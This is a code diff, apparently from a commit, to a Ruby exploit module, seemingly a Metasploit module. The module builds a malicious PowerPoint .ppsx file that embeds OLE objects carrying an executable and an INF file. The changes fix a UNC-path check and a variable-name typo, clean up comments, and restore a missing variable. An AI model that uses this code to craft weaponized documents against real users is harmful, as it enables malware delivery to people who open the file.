@@ -89,8 +89,8 @@ def exploit
89
89
end
90
90
91
91
def validate_unc
92
- if datastore [ 'UNCPATH' ] =~ /\\ \\ ([^\\ ]+ )\\ ([^\\ ]+ )/
93
- unc = datastore [ 'UNPATH ' ]
92
+ if datastore [ 'UNCPATH' ] =~ /\\ \\ ([^\\ ]* )\\ ([^\\ ]* )/
93
+ unc = datastore [ 'UNCPATH ' ]
94
94
else
95
95
unc = nil
96
96
end
@@ -115,15 +115,15 @@ def zip_ppsx(ole_exe, ole_inf)
115
115
end
116
116
end
117
117
118
- #add the otherwise skipped "hidden" file
118
+ # add the otherwise skipped "hidden" file
119
119
file = "#{ data_dir } /_rels/.rels"
120
120
zip_data [ file . sub ( data_dir , '' ) ] = File . read ( file )
121
121
122
- #put our own OLE streams
122
+ # put our own OLE streams
123
123
zip_data [ '/ppt/embeddings/oleObject1.bin' ] = ole_exe
124
124
zip_data [ '/ppt/embeddings/oleObject2.bin' ] = ole_inf
125
125
126
- #and lets create the file
126
+ # create the ppsx
127
127
ppsx = Rex ::Zip ::Archive . new
128
128
zip_data . each_pair do |k , v |
129
129
ppsx . add_file ( k , v )
@@ -163,6 +163,7 @@ def create_ole(stream_name, data)
163
163
stm << data
164
164
stm . close
165
165
166
+ directory = stg . instance_variable_get ( :@directory )
166
167
directory . each_entry do |entry |
167
168
if entry . instance_variable_get ( :@_ab ) == 'Root Entry'
168
169
# 02260200-0000-0000-c000-000000000046 # Video clip
0 commit comments